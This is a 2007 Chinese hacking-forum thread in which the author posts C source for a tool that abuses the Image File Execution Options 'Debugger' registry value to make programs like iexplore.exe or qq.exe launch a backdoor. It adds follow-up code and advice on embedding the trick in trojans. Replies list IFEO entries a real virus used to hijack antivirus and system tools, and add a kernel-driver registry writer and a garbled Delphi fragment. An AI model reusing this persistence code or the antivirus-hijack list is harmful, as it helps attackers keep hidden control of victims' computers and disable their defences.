发新话题
打印

[原创]巧用注册表启动后门

[原创]巧用注册表启动后门

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:L4bm0s

昨天看了一篇有意思的文章
我想很多人都看过这文章,说的是利用注册表启动后门,看了一下,觉得有点意思,顺便写了个工具出来。如需转载,请表明作者以及文章出处,谢谢。
复制内容到剪贴板
代码:
/****************************************************
*
*   A simple tool to startup our backdoor
*
*   Author : L4bm0s<[email]L4bm0s@gmail.com[/email]>
*
*   QQ   : 76137660   
*
*   HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>

BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath );
BOOL WINAPI RemoveKeyAndValue( char * KeyName );
void Usage( char * name );

const char * TargetKeyName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" ;


int main(int argc, char* argv[])
{
  if( argc != 3 && argc != 4 )
  {
    Usage( argv[0] );
    return -1;
  }
  if( argc == 3 )
  {
    if( !strcmp( "-r" , argv[1] ) )
    {
      BOOL ret;
      ret = RemoveKeyAndValue( argv[2] );
      if( ret )
      {
        printf( "Remove Key Success!\n" );
        return 0;
      }
      else
      {
        printf( "Remove Key Fail: \n" );
        return -1;
      }
    }
    else
    {
      Usage( argv[0] );
      return -1;
    }
  }
  if( argc == 4 )
  {
    if( !strcmp( "-a" , argv[1] ) )
    {
      BOOL ret;
      ret = SetUpKeyAndValue( argv[2] , argv[3] );
      if( ret )
      {
        printf( "Add Key and Value Success!\n" );
        return 0;
      }
      else
      {
        printf( "Add Key and Value Fail!" );
        return -1;
      }
    }
    else
    {
      Usage( argv[0] );
      return -1;
    }
  }
  return 0;
}

BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath )
{
  HKEY hKey;
  HKEY hValueKey;
  LONG ret ;
  
  ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
          TargetKeyName ,
          0 ,
          KEY_ALL_ACCESS ,
          &hKey );
  
  if( ret != ERROR_SUCCESS )
  {
    printf( "Error RegOpenKeyEx: %d\n" , GetLastError() );
    return FALSE;
  }
  else
  {
    ret = RegCreateKeyEx( hKey ,
          KeyName ,
          0 ,
          NULL ,
          REG_OPTION_NON_VOLATILE ,
          KEY_ALL_ACCESS ,
          NULL ,
          &hValueKey ,
          NULL );
  }
  if( ret != ERROR_SUCCESS )
  {
    printf( "Error RegCreateKeyEx: %d\n" , GetLastError() );
    return FALSE;
  }

  ret = RegSetValueEx( hValueKey ,
          "Debugger" ,
          0 ,
          REG_SZ ,
          ( BYTE * )ValuePath ,
          strlen( ValuePath ) );
  
  if( ret != ERROR_SUCCESS )
  {
    printf( "Error RegSetValueEx(): %d\n" , GetLastError() );
    return FALSE;
  }
  return TRUE;
}
BOOL WINAPI RemoveKeyAndValue( char * KeyName )
{
  HKEY hKey;
  LONG ret;
  ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
          TargetKeyName ,
          0 ,
          KEY_ALL_ACCESS ,
          &hKey );
  if( ret != ERROR_SUCCESS )
  {
    printf( "Error RegOpenKeyEx(): %d\n" , GetLastError() );
    return FALSE;
  }
  ret = RegDeleteKey( hKey , KeyName );
  if( ret != ERROR_SUCCESS )
  {
    printf( "Error RegDeleteKeyEx(): %d\n " , GetLastError() );
    return FALSE;
  }
  return TRUE;
}
void Usage( char * Name )
{
  printf( "\t\t  A simple Tool to Startup our Backdoor\n" );
  printf( "\t\t  Written by L4bm0s<[email]L4bm0s@gmail.com[/email]>\n" );
  printf( "\t\t    [url]Http://my.opera.com/l4bm0s[/url]\n\n" );
  printf( "To add a Key and Value:\n" );
  printf( "Usage: %s -a KeyName ValuePath \n" , Name );
  printf( "Example: %s -a iexplore.exe C:\\WINDOWS\\system32\\cmd.exe\n\n" , Name );
  printf( "To remove a Key:\n" );
  printf( "Usage: %s -r KeyName\n" , Name );
  printf( "Example: %s -r iexplore.exe\n\n" , Name );
  printf( "If these is any bug about this tool , please contact me ;)\n" );
  return;
}

其实原理很简单,大家看前面我给的地址的那篇文章就会明白,不过当我们修改了注册表以后,原来的文件就打不开了,所以这样还是不能达到目的,我想到了一个方法,大家看下面的代码:
复制内容到剪贴板
代码:
/****************************************************
*
*   Test Code
*
*   Author : L4bm0s<[email]L4bm0s@gmail.com[/email]>
*
*   QQ   : 76137660   
*
*   HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>

const char * TargetKeyName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" ;

int APIENTRY WinMain(HINSTANCE hInstance,
           HINSTANCE hPrevInstance,
           LPSTR   lpCmdLine,
           int    nCmdShow)
{
  HKEY hKey;
  LONG ret;
  ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
          TargetKeyName ,
          0 ,
          KEY_ALL_ACCESS ,
          &hKey );
  if( ret != ERROR_SUCCESS )
  {
    printf( "Error RegOpenKeyEx(): %d\n" , GetLastError() );
    return -1;
  }
  ret = RegDeleteKey( hKey , "iexplore.exe" );
  if( ret != ERROR_SUCCESS )
  {
    printf( "Error RegDeleteKeyEx(): %d\n " , GetLastError() );
    return -1;
  }
  STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory( &si , sizeof(si) );
    si.cb = sizeof( si );
    ZeroMemory( &pi , sizeof(pi) );

  char cmdline[] = "cmd.exe";
  
  CreateProcess( NULL ,
        cmdline ,
        NULL ,
        NULL ,
        FALSE ,
        0 ,
        NULL ,
        NULL ,
        &si ,
        &pi );   
  return 0;
}
这篇代码很简陋,直接从前面代码中复制过来修改,测试用的,当它被启动以后,它会修改注册表,把我们往注册表里添面加的子键删除,这样的话,原来的文件又可以用了,聪明的大家现在应该想到怎样利用了吧,就是在编写木马的时候,往木马里面加上删除子键的代码,然后再像ByShell那样HOOK关机消息,当HOOK到关机消息的时候,再往注册表添加子键,这样的话,在正常情况下就能确保我们的后门启动了.

我们可以添加一个iexplore.exe的子键以及一个qq.exe的子键,这样的话,后门被启动的机会就很大了.刚开始的时候,我是想到添加一个explorer.exe的子键的,成功的话,那么每次启动,explorer.exe都会帮我们启动后门,不过经过测试,发现这个方法不可行,有兴趣的朋友可以自己测试一下,这里只是提供一个思路,大家有好的想法可以交流交流;)

这篇文章算不上原创,因为这个方法不是我发现的(貌似这个方法早就有人知道了,不知道有没有人写过类似的工具),我只是负责把工具写出来以及提供一些思路而已,大家有什么好的想法,欢迎交流!

附件

L4.rar (26 KB)

2007-4-23 14:20, 下载次数: 83

文件及相关代码

众人都在假装正经,我唯有假装不正经了。

TOP

那篇文章我已经也看过 是警告入侵者的 他通过修改注册表  只要一打开cmd.exe就会弹出个.txt的提示

TOP

学习了!谢谢。
既然不能把explorer.exe转向执行,那么可以考虑第三方软件,比如说杀毒软件、防火墙之类的。
(本人还没测试过),在网上找了下资料,发现有病毒利用了这种机制:
复制内容到剪贴板
代码:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\360Safe.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\adam.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\avp.com\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\avp.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\EGHOST.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\IceSword.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\iparmo.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\kabaload.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\KRegEx.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\KvDetect.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\KVMonXP.kxp\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\KvXP.kxp\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\MagicSet.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\mmsk.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\msconfig.com\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\msconfig.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\NOD32.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\PFW.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\PFWLiveUpdate.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\QQDoctor.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\Ras.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\Rav.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\RavMon.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\regedit.com\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\regedit.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\runiep.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\SREng.EXE\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\TrojDie.kxp\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Image File Execution Options\WoptiClean.exe\Debugger
    Value: String: "%WINDOWS%\System32\drivers\jyoapg.com"
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindOWS%\CurrentVersion\
    Run\jyoapg
    Value: String: "%WINDOWS%\System32\xwwume.exe"
关于后门在注册表中的自启动项,我觉得可以看看kaspersky 6.0 的注册表主动防御选项,那里列出了有44个(好像是这个数)可以被后门利用来启动的地方。
夫学须静也,才须学也,非学无以广才,非志无以成学。淫慢则不能励精,险躁则不能治性。年与时驰,意与日去,遂成枯落,多不接世,悲守穷庐,将复何及!

TOP

不好意思,我還是不明白,如何修改註冊表後才能正常啟動原文件而又能執行木馬程序?
我在Debugger項輸入cmd.exe,但只是跳出一個Dos窗口,並沒有執行QQ.exe呀?
菜鳥級的問題,還望不吝賜教.

TOP

我记着讨论区讨论过这个问题,只是没有给出最终的代码等我找找看看那篇讨论文章
当你把不可能变成可能,你会发现你已经被称为高手

TOP

当你把不可能变成可能,你会发现你已经被称为高手

TOP

哦,我明白了,但這種靠Hook關機消息再修改註冊表的方法也太不可靠了吧,如果服務端主機遇上停電或死機的情況,那不就玩完了嗎?

TOP

引用:
引用第6楼takdick于2007-04-24 18:51发表的 :
哦,我明白了,但這種靠Hook關機消息再修改註冊表的方法也太不可靠了吧,如果服務端主機遇上停電或死機的情況,那不就玩完了嗎?
这只是一种思路,而且ByShell采用的就是这种方法,我暂时能想到的是这中方法,更好的方法有待大家去探索~
众人都在假装正经,我唯有假装不正经了。

TOP

为什么不能换个思路呢 ?

先在注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options] 增加启动我们木马的子键
在木马启动之后再用木马来启动执行应该真正运行的程序
比如 在我们的木马中用winexec()或shell()执行iexpolorer.exe不就行了吗 ?

TOP

哈哈,我之前也是這想法,並付之行動,結果系統進入死循環(不斷的執行木馬程序),要按Reset鍵重開機.

TOP

回9楼、10楼,9楼的朋友说的方法是可行的,当天我发了帖以后就想到了,而10楼的朋友可以试试用CreateProcess函数。

相关代码:
复制内容到剪贴板
代码:
#include <stdio.h>
#include <windows.h>

const char * TargetKeyName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" ;


int main(int argc, char* argv[])
{
  HKEY hKey;
  LONG ret;

  ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
          TargetKeyName ,
          0 ,
          KEY_ALL_ACCESS ,
          &hKey );
  if( ret != ERROR_SUCCESS )
  {
    printf( "Error RegOpenKeyEx(): %d\n" , GetLastError() );
    return -1;
  }
  ret = RegDeleteKey( hKey , "iexplore.exe" );
  if( ret != ERROR_SUCCESS )
  {
    printf( "Error RegDeleteKeyEx(): %d\n " , GetLastError() );
    return -1;
  }

  STARTUPINFO Cmdsi;
  PROCESS_INFORMATION Cmdpi;

  ZeroMemory( &Cmdsi , sizeof(Cmdsi) );
  Cmdsi.cb = sizeof( Cmdsi );
  ZeroMemory( &Cmdpi , sizeof(Cmdpi) );

  char Cmdline[] = "cmd.exe";
  
  CreateProcess( NULL ,
        Cmdline ,
        NULL ,
        NULL ,
        FALSE ,
        0 ,
        NULL ,
        NULL ,
        &Cmdsi ,
        &Cmdpi );

  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  ZeroMemory( &si , sizeof(si) );
  si.cb = sizeof( si );
  ZeroMemory( &pi , sizeof(pi) );

  char cmdline[] = "iexplore.exe";
  
  CreateProcess( NULL ,
        cmdline ,
        NULL ,
        NULL ,
        FALSE ,
        0 ,
        NULL ,
        NULL ,
        &si ,
        &pi );
  return 0;
}
看了1楼朋友的回帖,我突然想到,可以利用这个方法搭建一个小小的蜜罐系统,我记得以前剑心也提过类似的方法,通过修改注册表,当入侵者打开CMD的时候,利用netstat -an >> jilu.txt以及time >> jilu.txt记录一些信息,这个想法我还没去试验(发句牢骚,这个学期的大学课程安排太BT了,害我连上网的时间都快没了),有兴趣的朋友可以去试试。
众人都在假装正经,我唯有假装不正经了。

TOP

引用:
引用第11楼雪夜于2007-05-02 16:07发表的 [讨论]Re:[原创]巧用注册表启动后门 :
如果是DELPHI写的还可以看的懂点!!学习下!!
和我一样~~~
10楼的还能看明白~
- -!够简单的
注册表操作+创建新进程~~
原文是看了C就脑袋大~~
米学过

这问题的确以前讨论过
黑防我记得BYSHELL的作者写出了关于BYSHELL的代码
大家可以去看看啊

8楼的办法~
我还是觉得,能不动注册表最好
其实,用svchost启动蛮不错的,又简单~反正也是动注册表

and

驱动更隐蔽吧
玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.

TOP

在编程中,就注册表操作最为简单了。

我也来一段:

.386
.model flat, stdcall
option casemap:none                 
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
include w2k\ntstatus.inc
include w2k\ntddk.inc
include w2k\ntoskrnl.inc
includelib ntoskrnl.lib
include Strings.mac               
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.const
CCOUNTED_UNICODE_STRING "\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows NT", g_usMachineKeyName,4
CCOUNTED_UNICODE_STRING "iexplore.exe", g_usValueName, 4
CTW0 "c:\\windows\\system32\\cmd.exe", g_wszStringData, 4                        
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.code
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                     CreateKey                        
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CreateKey proc
local oa:OBJECT_ATTRIBUTES
local hKey:HANDLE
local dwDisposition:DWORD
  invoke DbgPrint, $CTA0("\n**********************************************\n")
  ;初始化OBJ_CASE_INSENSITIVE结构
  InitializeObjectAttributes addr oa, offset g_usMachineKeyName, OBJ_CASE_INSENSITIVE, NULL, NULL
  invoke ZwCreateKey, addr hKey, KEY_WRITE, addr oa, 0, NULL, \
                   REG_OPTION_VOLATILE, addr dwDisposition
  .if eax == STATUS_SUCCESS
    .if dwDisposition == REG_CREATED_NEW_KEY
      invoke DbgPrint, \
        $CTA0("键值创建成功\n")
    .elseif dwDisposition == REG_OPENED_EXISTING_KEY
      invoke DbgPrint, \
        $CTA0("键值已经打开\n")
    .endif
    invoke ZwClose, hKey
    invoke DbgPrint, $CTA0("注册句柄关闭\n")
  .else
    invoke DbgPrint, $CTA0("无法打开创建 错误代号: %08X\n"), eax
  .endif
  ret
CreateKey endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                    SetValueKey                        
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
SetValueKey proc
local oa:OBJECT_ATTRIBUTES
local hKey:HANDLE
  invoke DbgPrint, $CTA0("\n****************************************************8\n")
  InitializeObjectAttributes addr oa, offset g_usMachineKeyName, OBJ_CASE_INSENSITIVE, NULL, NULL
  invoke ZwOpenKey, addr hKey, KEY_SET_VALUE, addr oa
  .if eax == STATUS_SUCCESS
    invoke DbgPrint, $CTA0("打开键值\n")
    invoke ZwSetValueKey, hKey, addr g_usValueName, 0, REG_SZ, \
                addr g_wszStringData, sizeof g_wszStringData
    .if eax == STATUS_SUCCESS
      invoke DbgPrint, $CTA0("添加设置成功\n")
    .else
      invoke DbgPrint, \
          $CTA0("无法查询 错误代号: %08X\n"), eax
    .endif
    invoke ZwClose, hKey
    invoke DbgPrint, $CTA0("句柄关闭\n")
  .else
    invoke DbgPrint, $CTA0("无法打开键值 错误代号: %08X\n"), eax
  .endif
  ret
SetValueKey endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                    DriverEntry                        
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
  invoke DbgPrint, $CTA0("\n代码入口\n")
  invoke CreateKey
  invoke SetValueKey
  invoke DbgPrint, $CTA0("\n执行完毕退出\n")
  mov eax, STATUS_DEVICE_CONFIGURATION_ERROR
  ret
DriverEntry endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
end DriverEntry



游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

var
reg:tregustry
begin
reg:=tregistry.creat;
reg.rootkey:=HKEY_CURRENT_user;
if regopenkey(&#39;\soft\delphi&#39;,true)
then
begin
reg.writestring(&#39;test&#39;,&#39;True&#39;);
reg.closekey
reg.free

玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.

TOP

发新话题